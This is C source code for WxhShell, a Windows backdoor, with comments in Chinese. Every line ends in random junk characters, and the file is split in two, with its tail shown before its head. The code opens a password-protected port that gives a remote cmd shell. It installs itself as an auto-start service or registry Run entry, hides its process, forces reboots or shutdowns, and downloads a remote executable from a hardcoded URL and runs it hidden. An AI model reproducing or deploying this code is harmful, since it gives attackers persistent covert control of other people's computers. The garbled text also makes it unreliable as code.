    if(Boot(SHUTDOWN)) 7Z#r9Vr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3q!hY  
    else { xIN&>D'|N  
    closesocket(wsh); vnNX)$f  
    ExitThread(0); RZtY3:FBx|  
    } ]Cfjs33H  
    break; O M]d}}=Y  
    } s7A3CY]->  
  // 获取shell 29xm66  
  case 's': { X#bK.WN$  
    CmdShell(wsh); m+t<<5I[-  
    closesocket(wsh); F ka^0  
    ExitThread(0); (9#$za>  
    break; *?2aIz"  
  } 00?_10x)  
  // 退出 aDV~T24  
  case 'x': { )O xsasn)M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p f\ Ybbs  
    CloseIt(wsh); W:s>?(6?  
    break; ~]MACG:'  
    } $Z{ap  
  // 离开 n#2tFuPE  
  case 'q': { ^~3u|u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0^H"eQO  
    closesocket(wsh); vn]e`O>y  
    WSACleanup(); MY8[)<q"  
    exit(1); <6 HrHw_  
    break; KI@OEy  
        } 'F\@KE -d  
  } 5Iql%~_x  
  } K}vP0O}  
9h Jlc  
  // 提示信息 @O!BQ^'hk#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EO&PabZWR  
} Ft&ARTsa*  
  } 7s2 l3  
Y$vobi$  
  return; h U3!  
} !mjrI "_  
nY>UYSv  
// shell模块句柄 yHXQCWY{8;  
int CmdShell(SOCKET sock) >/r^l)`9_f  
{ MO_-7,.y  
STARTUPINFO si; LpQ=Y]{j  
ZeroMemory(&si,sizeof(si)); ^^9O9]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !-cO 0c!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,ln=kj  
PROCESS_INFORMATION ProcessInfo; ^=CO gO]e  
char cmdline[]="cmd"; BF="gZoU<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -4%{Jb-1  
  return 0; TFQX}kr]  
} b1*5#2rs.  
C[-M ~yIL  
// 自身启动模式 "^Ax}Jr  
int StartFromService(void) ajy +%sXf=  
{ T3_3k. ,|  
typedef struct sp-){k  
{ ujLz<5gKuO  
  DWORD ExitStatus; 7f$ hg8  
  DWORD PebBaseAddress; 8wi2&j_  
  DWORD AffinityMask; G~VukW<e  
  DWORD BasePriority; 0qCx.<"p8#  
  ULONG UniqueProcessId; [P3].#"]M=  
  ULONG InheritedFromUniqueProcessId; 69/br @j%`  
}   PROCESS_BASIC_INFORMATION; aqw;T\GI+~  
R4#56#d<  
PROCNTQSIP NtQueryInformationProcess; F> H5 ww9E  
9'My /A0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g'%^-S ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RT`jWWh*Lo  
DjMhI_Yu  
  HANDLE             hProcess; ]c+HD*  
  PROCESS_BASIC_INFORMATION pbi; z#( `H6n:  
J)o =0i>*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sTb@nrRxH  
  if(NULL == hInst ) return 0; 38gHM9T xh  
* NB:"1x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G-DvM6T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !W4X4@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dsUt[z1w5  
k"L?("~   
  if (!NtQueryInformationProcess) return 0; ZLS\K/F>>=  
=o+js;3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -~|E(ys  
  if(!hProcess) return 0; )LdS1%  
o6v'`p '  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #cAX9LV  
ev LZ<|  
  CloseHandle(hProcess); 0dKv%X#\  
7`G FtX}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t0"2Si  
if(hProcess==NULL) return 0; b~u53   
Qp5YS  
HMODULE hMod;  j1sgvh]D  
char procName[255]; VGVb3@  
unsigned long cbNeeded; ImG7E w  
jgyXb5GY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !8Mi+ZV  
Jg2*$gL;_  
  CloseHandle(hProcess); m~<<ok_  
(nUSgZz5  
if(strstr(procName,"services")) return 1; // 以服务启动 S#|dmg;p  
K]Rb~+a<  
  return 0; // 注册表启动 rQ:+LVfXjA  
} )/Mk\``j  
7xlarns   
// 主模块 PX$_."WA  
int StartWxhshell(LPSTR lpCmdLine) gNj~o^6|@  
{ "c2{n,  
  SOCKET wsl; 3yXSv1  
BOOL val=TRUE; +ak<yV1=  
  int port=0; ro8c-[V  
  struct sockaddr_in door; @@QB,VS;{<  
z"PU`v  
  if(wscfg.ws_autoins) Install(); RX cfd-us  
iYR`|PJi  
port=atoi(lpCmdLine); [izP1A$r#Q  
}^"#&w3<  
if(port<=0) port=wscfg.ws_port; P6 ~& ,a  
hVLV Mqd  
  WSADATA data; Y2&hf6BE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +j!$88%Z{  
J*zm*~8\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s<b(@L 1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yq]/r=e!k  
  door.sin_family = AF_INET; :3 p&h[M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^3 6oqe{  
  door.sin_port = htons(port); qQ^ bUpk0  
9X ^D(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z.6I6IfL\L  
closesocket(wsl); 0m>?-/uDx  
return 1; *m.4)2u=  
} ELa:yIl0  
f`Wces=5  
  if(listen(wsl,2) == INVALID_SOCKET) { K=Y{iHn  
closesocket(wsl); 9|5>?'CqP  
return 1; M?I^Od'8  
} ki<4G  
  Wxhshell(wsl); yh{Wuz=T  
  WSACleanup(); 3^2P7$W=   
Ew$-,KC[  
return 0; bG&vCH;}%  
c8}jO=/5+  
} nX\Q{R2  
biy[h3b  
// 以NT服务方式启动 N3SB-E+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Wz74ble  
{  FtmI\,  
DWORD   status = 0; H;kk:s'  
  DWORD   specificError = 0xfffffff; { cMf_qQ  
r]yI5 ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YH-+s   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FTT=h0t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =Xu(Js-  
  serviceStatus.dwWin32ExitCode     = 0; eczS(KoL4  
  serviceStatus.dwServiceSpecificExitCode = 0; h$#zuqm  
  serviceStatus.dwCheckPoint       = 0; g'nN#O  
  serviceStatus.dwWaitHint       = 0; wfY]J0l  
,`.`}'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w829 8Kl  
  if (hServiceStatusHandle==0) return; w W1>#F  
!dZpV~g0  
status = GetLastError(); a/s6|ri`0  
  if (status!=NO_ERROR) ; +%|!~  
{ O$$$1VHYo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NUb:5tL  
    serviceStatus.dwCheckPoint       = 0; +8eW/Bs@2  
    serviceStatus.dwWaitHint       = 0; l.AG^b  
    serviceStatus.dwWin32ExitCode     = status; QoTjKck.  
    serviceStatus.dwServiceSpecificExitCode = specificError; >7j(V`i"y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ow@1.5WL+  
    return; C Y K W4  
  } [ (eO_I5ep  
Qe;j_ BH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ptvM>zw'~g  
  serviceStatus.dwCheckPoint       = 0; BzyzOtBp3L  
  serviceStatus.dwWaitHint       = 0; 0$e]?]X6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n=tg{_9f%  
} <'l;j"&lp  
(14J~MDB  
// 处理NT服务事件,比如:启动、停止 uU#7SX(uu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u[yUUYe  
{ ?KF.v1w7  
switch(fdwControl) ]id5jVY  
{ zyF[I6Gs  
case SERVICE_CONTROL_STOP: 69K*]s  
  serviceStatus.dwWin32ExitCode = 0; s\#eD0|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1h0cId8d  
  serviceStatus.dwCheckPoint   = 0; -YfpfNt  
  serviceStatus.dwWaitHint     = 0; jm$v0=W9#  
  { 5p5S_%R$e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7.DAwx.HYK  
  } ~n $e  
  return; f[$9k}.  
case SERVICE_CONTROL_PAUSE: dab[x@#r>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;zZGV4Qc~  
  break; {<}kqn83sT  
case SERVICE_CONTROL_CONTINUE: {8a s _  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kTe0"  
  break; ;.wWw" )  
case SERVICE_CONTROL_INTERROGATE: km+}./@  
  break; Ls~F4ar$/  
}; EPMdR66  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oN/T>&d  
} S/l?wwD  
+ysP#uAA  
// 标准应用程序主函数 \JX.)&> -  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I_/kJ#7vj  
{ 3[E)/~-  
//\UthOT  
// 获取操作系统版本 &:ib>EB03=  
OsIsNt=GetOsVer(); |Lz:i +;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wtL_c  
|[]"{Eo"}  
  // 从命令行安装 2n`OcXCh/  
  if(strpbrk(lpCmdLine,"iI")) Install(); #Kp/A N5YC  
oztfr<cUH  
  // 下载执行文件 std4Nyp  
if(wscfg.ws_downexe) { sG~5O\,E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h0)Wy>B=,  
  WinExec(wscfg.ws_filenam,SW_HIDE); qp@:Zqz8  
} wt@q+9:  
{}TR'Y4  
if(!OsIsNt) { R0v5mD$:G  
// 如果时win9x,隐藏进程并且设置为注册表启动 z9#iU>@  
HideProc(); 8`/nk `;  
StartWxhshell(lpCmdLine); (!^(74  
} o]vU(j_Ju  
else B[R1XpB7  
  if(StartFromService()) $A/$M\ :  
  // 以服务方式启动 Wi?37EHr  
  StartServiceCtrlDispatcher(DispatchTable); b-x,`s  
else h) . ([  
  // 普通方式启动 !Xbr7:UPN1  
  StartWxhshell(lpCmdLine); [|\JIr=of5  
UEvRK?mm=  
return 0; 9V%s1@K  
} Ba],ONM4k  
*CH lg1  
<Eo; CaaF/  
_e;$Y#`EO  
=========================================== MOIH%lpe  
`<C/-Au  
B0^0d*8t|@  
B0KZdBRx}  
mt+IB4`  
N:y3tpG  
" 6BJPQdqSl  
_"PT O&E  
#include <stdio.h> }cL9`a9j  
#include <string.h> [8VB"{{&  
#include <windows.h> TuBl9 p'6  
#include <winsock2.h> ]tVU$9D   
#include <winsvc.h> tCk;tu!d  
#include <urlmon.h> ">G|\_ZF  
q,JMmhWaT  
#pragma comment (lib, "Ws2_32.lib") L.[ H   
#pragma comment (lib, "urlmon.lib") Z5uetS^  
kphv)a4z=  
#define MAX_USER   100 // 最大客户端连接数 ( *(#;|m  
#define BUF_SOCK   200 // sock buffer WJ9=hr  
#define KEY_BUFF   255 // 输入 buffer 8- ?.Q"D7%  
Asn7 ;x0;  
#define REBOOT     0   // 重启 v [_C^;  
#define SHUTDOWN   1   // 关机 :/BU-SFK^  
.]qj];m  
#define DEF_PORT   5000 // 监听端口 $f-f0t'  
B?nQUIb:  
#define REG_LEN     16   // 注册表键长度 }' mBqn  
#define SVC_LEN     80   // NT服务名长度 A3p@hQl  
-$E_L :M  
// 从dll定义API 8xQ5[Ov  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T<|B1jA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >5&'_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (I d]'w4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '*5I5'[ X,  
LFCcV<~  
// wxhshell配置信息 o yBBW?m  
struct WSCFG { ;~$_A4;  
  int ws_port;         // 监听端口 Hb KJ&^  
  char ws_passstr[REG_LEN]; // 口令 gL(ny/Ob9  
  int ws_autoins;       // 安装标记, 1=yes 0=no %&+j(?9  
  char ws_regname[REG_LEN]; // 注册表键名 &k /uR;yw  
  char ws_svcname[REG_LEN]; // 服务名 XHgwK @GU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y#:_K(A" k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 krPwFp2[*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )QGj\2I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c|lo%[]R!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ; /fZh:V2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GNzk Vy:u  
Fg)Iw<7_2  
}; ] ZGP  
bu[v[U4  
// default Wxhshell configuration kzG m D i  
struct WSCFG wscfg={DEF_PORT, {$,e@nn  
    "xuhuanlingzhe", :A\8#]3  
    1, ~a:0Q{>a  
    "Wxhshell", 8. [TPiUn'  
    "Wxhshell", A@BYd'}]  
            "WxhShell Service", )oJn@82C|  
    "Wrsky Windows CmdShell Service", L'LZK  
    "Please Input Your Password: ", $9DV }  
  1, sv0) sL  
  "http://www.wrsky.com/wxhshell.exe", c(. 2D  
  "Wxhshell.exe" wRn]  
    }; [];*9vxW  
QAigbSn]  
// 消息定义模块 `Ym7XF&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; epsh&)5a*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4=S.U`t7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3%Z:B8:<y  
char *msg_ws_ext="\n\rExit."; tr6<89e(o  
char *msg_ws_end="\n\rQuit."; r#^/qs(~  
char *msg_ws_boot="\n\rReboot..."; P#(BdKjM  
char *msg_ws_poff="\n\rShutdown..."; ~ztsR;iL  
char *msg_ws_down="\n\rSave to "; =B g  
a9C8Q l  
char *msg_ws_err="\n\rErr!"; Ah,X?0+  
char *msg_ws_ok="\n\rOK!"; GsG.9nd  
!rzbm&@  
char ExeFile[MAX_PATH]; 79|=y7i#  
int nUser = 0; :c@v_J6C&  
HANDLE handles[MAX_USER]; 5F{NPKa Q  
int OsIsNt; TU4"7]/{M  
QS:dr."k  
SERVICE_STATUS       serviceStatus; eAh~ `  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `LU[+F8<  
Eg&xIyRmm  
// 函数声明 -&JUg o=  
int Install(void); t{#B td  
int Uninstall(void); FS7 _ldD  
int DownloadFile(char *sURL, SOCKET wsh); >J+'hm@  
int Boot(int flag); C?jk#T  
void HideProc(void); >58N P1[k  
int GetOsVer(void); j+He8w-4  
int Wxhshell(SOCKET wsl); pj:s+7"t  
void TalkWithClient(void *cs); ?.d6!vA  
int CmdShell(SOCKET sock); \ s^a4l 2  
int StartFromService(void); q(sEN!^L`  
int StartWxhshell(LPSTR lpCmdLine); =e2|:Ba!  
sdF;H[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T8( \:v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YqhZndktX  
~u-DuOZ8  
// 数据结构和表定义 f8yE>qJP  
SERVICE_TABLE_ENTRY DispatchTable[] = b(JQ>,hX  
{ pvdM3+6  
{wscfg.ws_svcname, NTServiceMain}, !"~x.LX \  
{NULL, NULL} (jbHV.]P9  
}; oc+TsVt  
h>AK^fX  
// 自我安装 fgrflW$  
int Install(void) wVU.j$+_#  
{ xj8 yQ Y1  
  char svExeFile[MAX_PATH]; 0$)uOUVJ  
  HKEY key; Vmq:As^a  
  strcpy(svExeFile,ExeFile); l"70|~  
w U".^ +  
// 如果是win9x系统,修改注册表设为自启动 8aDh HXI  
if(!OsIsNt) { s8L=:hiSf)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H9}z0VI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `}t<5_  
  RegCloseKey(key); )Il) H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 28,Hd!{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VfWU-lJ  
  RegCloseKey(key); /J''`Tf  
  return 0; LpCJfQ  
    } a"7zz]XO2  
  } ~6YTm6o  
} cu{c:z~  
else { m'{gO9V  
?=zF]J:G1w  
// 如果是NT以上系统,安装为系统服务  A [W3.$s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h9<*+T  
if (schSCManager!=0) 6Ih8~Hu  
{ g{|F<2rd[m  
  SC_HANDLE schService = CreateService \4$V ;C/n,  
  ( +i"^"/2f{  
  schSCManager, .g/PWEr\I  
  wscfg.ws_svcname, 8@b,>l$  
  wscfg.ws_svcdisp, t}FwS6u  
  SERVICE_ALL_ACCESS, =PU! hZj"L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `sW+R=  
  SERVICE_AUTO_START, zt&"K0X|  
  SERVICE_ERROR_NORMAL, /e|vz^#+1,  
  svExeFile, vXA+o)*#/  
  NULL, Qy0Zj$,Z  
  NULL, u={A4A#  
  NULL, \! `k:lusa  
  NULL, @8\7H'K"\  
  NULL X#v6v)c  
  ); }eKY%WU>O  
  if (schService!=0) TS2zzYE6Z  
  { ;iA6[uz  
  CloseServiceHandle(schService); )W,tL*9[  
  CloseServiceHandle(schSCManager); m9~cQ!m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6:\0=k5  
  strcat(svExeFile,wscfg.ws_svcname); PB[ Y^q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a-[:RJW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !*I0}I ~  
  RegCloseKey(key); )gNS%t c*K  
  return 0; h"#[{$(  
    } LDX>S*cL  
  } 1u`{yl*+?  
  CloseServiceHandle(schSCManager); +\s32o zg  
} 6gr?#D -F  
} b*5Yy/U  
Gl am(V1  
return 1; MBp,! _Q6  
} ~F)[H'$A  
{ Q?\%4>2  
// 自我卸载 XC*!=h*  
int Uninstall(void) _8QHx;}  
{ "W71#n+ [  
  HKEY key; _;z IH5 H  
Z [[AmxE'l  
if(!OsIsNt) { T:<mme3v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }# cFr)4f  
  RegDeleteValue(key,wscfg.ws_regname); 8PRKSJ[@K  
  RegCloseKey(key); G q&[T:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )t?_3'W  
  RegDeleteValue(key,wscfg.ws_regname); w'i8yl bZ  
  RegCloseKey(key); {OIktG2gZ  
  return 0; {tKi8O^Rb  
  } %[l#S*)~  
} :,8eM{.Q  
} g$?kL  
else { wC&+nS1  
v % c-El%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vV$6fvS  
if (schSCManager!=0) $!LL  
{ Uo]x6j<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dj}y6V&  
  if (schService!=0) "|,;~k1  
  { ,$oz1,Q/  
  if(DeleteService(schService)!=0) { A?zxF5rfp  
  CloseServiceHandle(schService); =NNA7E7c  
  CloseServiceHandle(schSCManager); XYrZI/R  
  return 0; |'+ [ '  
  } $ca>b X]  
  CloseServiceHandle(schService); I d}@  
  } 6+.8nx:9X  
  CloseServiceHandle(schSCManager); Jf</83RZ  
} WHkrd8  
} w~a_FGYX  
iJaA&z5sr  
return 1; PSB@yV <  
} 7eU|iDYo  
^630%YO  
// 从指定url下载文件 (?ofL|Cg(  
int DownloadFile(char *sURL, SOCKET wsh) a +lTAe  
{ Y I?4e7Z+  
  HRESULT hr; .ng:Z7  
char seps[]= "/"; zNh$d;(O$^  
char *token; .dw;b~p  
char *file; :k&5Z`>)  
char myURL[MAX_PATH]; _GtG8ebr  
char myFILE[MAX_PATH]; w~|z0;hC  
#J w\pOn  
strcpy(myURL,sURL); #Zq[.9!q{  
  token=strtok(myURL,seps);  \X]  
  while(token!=NULL) yv+DM`0  
  { o|njgmF;\  
    file=token; |+h8g@;Z  
  token=strtok(NULL,seps); _ry7 [/)  
  } &60#y4  
.>^iU}  
GetCurrentDirectory(MAX_PATH,myFILE); cERmCe|/CG  
strcat(myFILE, "\\"); tj< 0q<is  
strcat(myFILE, file); iS#m{1m$$  
  send(wsh,myFILE,strlen(myFILE),0); {0J (=\u  
send(wsh,"...",3,0); \f-HfYG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /9k}Ip  
  if(hr==S_OK) Q<UKR|6  
return 0; 69C>oX  
else -Izc-W  
return 1; Xhk_h2F[  
^(.utO  
} #- z(]Y,y  
;e#bl1%#  
// 系统电源模块 I]jK]]@  
int Boot(int flag) LQ'VhNU  
{ UEh-k"  
  HANDLE hToken; WEZ)>[Xj?  
  TOKEN_PRIVILEGES tkp; DcmRb/AP*  
48W-Tf6v|  
  if(OsIsNt) { 5#}wI~U;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $?Yw{%W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A6AIkKjzq  
    tkp.PrivilegeCount = 1; ffibS0aM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >&DNxw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @;P\`[(*  
if(flag==REBOOT) { 3`^NaQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q VJvuiUh  
  return 0; H'2Un(#Al  
} eGW~4zU  
else { RxrUnMF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c ;@k\6  
  return 0; YA'_Ba(v)  
} jb {5   
  } 6u-aV  
  else { YThFskRoO  
if(flag==REBOOT) { @K}8zMmW#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S /)J<?<b  
  return 0; X!=*<GF)  
} +ug[TV   
else { lV )SOs$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i#1~<U  
  return 0; t^(#~hx  
} 1Yb9ILX[J  
} BdYl sYp  
> qDHb'  
return 1; "YQ%j+  
} ^{(i;IVG  
>x 6$F*:W}  
// win9x进程隐藏模块 K" U!SWv  
void HideProc(void) a8[Q1Fa4|  
{ g$eZT{{W  
Z+J;nl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?&>H^}gDZ  
  if ( hKernel != NULL ) }y P98N5o  
  { /{7we$+,p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AYLCdCoK.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "RG #e +  
    FreeLibrary(hKernel); u9~RD  
  } j6.'7f5M<H  
PdNxuy  
return; $v*0 \O  
} YTo^Q&  
; rJ  
// 获取操作系统版本 9X[}ik0  
int GetOsVer(void) y+ ZCuX  
{ q=|0lZ$`V_  
  OSVERSIONINFO winfo; R404\XGL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;th]/ G  
  GetVersionEx(&winfo); !YJ^BI    
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /qalj\ud  
  return 1; ko<iG]Dv'  
  else -ip fGb  
  return 0; D_MNF =7  
} Vy:MK9U2  
c(y~,hN&p  
// 客户端句柄模块 <78LB/:  
int Wxhshell(SOCKET wsl) fX 41o#  
{ xFcRp2W9R  
  SOCKET wsh; eS{ xma  
  struct sockaddr_in client; GOeYw[Vh  
  DWORD myID; U~Ai'1?xz  
S3(2.c~  
  while(nUser<MAX_USER) >|e>=  
{ 9v2(cpZ  
  int nSize=sizeof(client); [Y^1}E*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <fLk\ =  
  if(wsh==INVALID_SOCKET) return 1; D@yuldx'/  
8*V8B=q}K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uVBMI.&w  
if(handles[nUser]==0) l8_TeO  
  closesocket(wsh); ^"Nsb&  
else 1q[vNP=g&  
  nUser++; Pv(icf l|  
  } dqvgyyq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U2(|/M+  
ZdJer6:Z}  
  return 0; c*"TmDY  
} s3LR6Z7;i  
J&IFn/JK$  
// 关闭 socket &_!g|-  
void CloseIt(SOCKET wsh) 2\,vq R  
{ 5E#koy7 $s  
closesocket(wsh); fWBI}~e  
nUser--; tR]1c  
ExitThread(0); # Y*cLN`Y7  
} jSj (ZU6  
}Pj3O~z  
// 客户端请求句柄  9g*MBe:  
void TalkWithClient(void *cs) R{"7q:-  
{ |F'k5Lh  
1wqsGad+;  
  SOCKET wsh=(SOCKET)cs; |5}~n"R5  
  char pwd[SVC_LEN]; r|WoM39bp  
  char cmd[KEY_BUFF]; 0*.> >rI  
char chr[1]; Yjr6/&ML  
int i,j; `[+nz rLkO  
y/}>)o4Q  
  while (nUser < MAX_USER) { 3t4_{']:/  
t7%!~s=,M  
if(wscfg.ws_passstr) { f'\NGL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B0:[3@P7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F<UEipe/N  
  //ZeroMemory(pwd,KEY_BUFF); 3ppY@_1  
      i=0; |x AwiF_  
  while(i<SVC_LEN) { wghz[qe  
h69: Tj!  
  // 设置超时 \c! LC4pE  
  fd_set FdRead; FH'jP`  
  struct timeval TimeOut; \sIRV}Tk}N  
  FD_ZERO(&FdRead); Cz\(.MWNZ  
  FD_SET(wsh,&FdRead); $UZ4,S?V  
  TimeOut.tv_sec=8; 35;)O -  
  TimeOut.tv_usec=0; gJVakR&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T1y,L<7?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J]f\=;z;<a  
at/v.U |F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "=unDpq]  
  pwd=chr[0]; lxRzyx  
  if(chr[0]==0xd || chr[0]==0xa) { FRicHs n  
  pwd=0; fWR]L47n  
  break; U=C8gVb{Hq  
  } "Q~6cH[#  
  i++; xy% lp{  
    } ua['rOnU  
dQ8}mH!  
  // 如果是非法用户,关闭 socket UC^Bn1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W"rX$D [Le  
} 1GY[1M1^  
N[j7^q7Xt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #=f ]"uM<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X,/@#pSOz  
yD`{9'L -  
while(1) { >?,arER  
?wps_XU  
  ZeroMemory(cmd,KEY_BUFF); lHpo/ R :  
[)`9euR%  
      // 自动支持客户端 telnet标准   *|x2"?d-F:  
  j=0; -#b-@sD  
  while(j<KEY_BUFF) { icF -`m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qFV=P k  
  cmd[j]=chr[0]; ,>%AEN6N2  
  if(chr[0]==0xa || chr[0]==0xd) { ^c1I'9(r5  
  cmd[j]=0; $} S5&  
  break; zjh&?G]:G  
  } '[p~| mX  
  j++; 3MC| O5R4  
    } lX`)Avqa  
u pf7:gk +  
  // 下载文件 {MKq Yl{  
  if(strstr(cmd,"http://")) { *g5df[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^sq3@*hCw  
  if(DownloadFile(cmd,wsh)) Kg>+5~+E?q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L_jwM ^8  
  else _Bh-*l?K>  
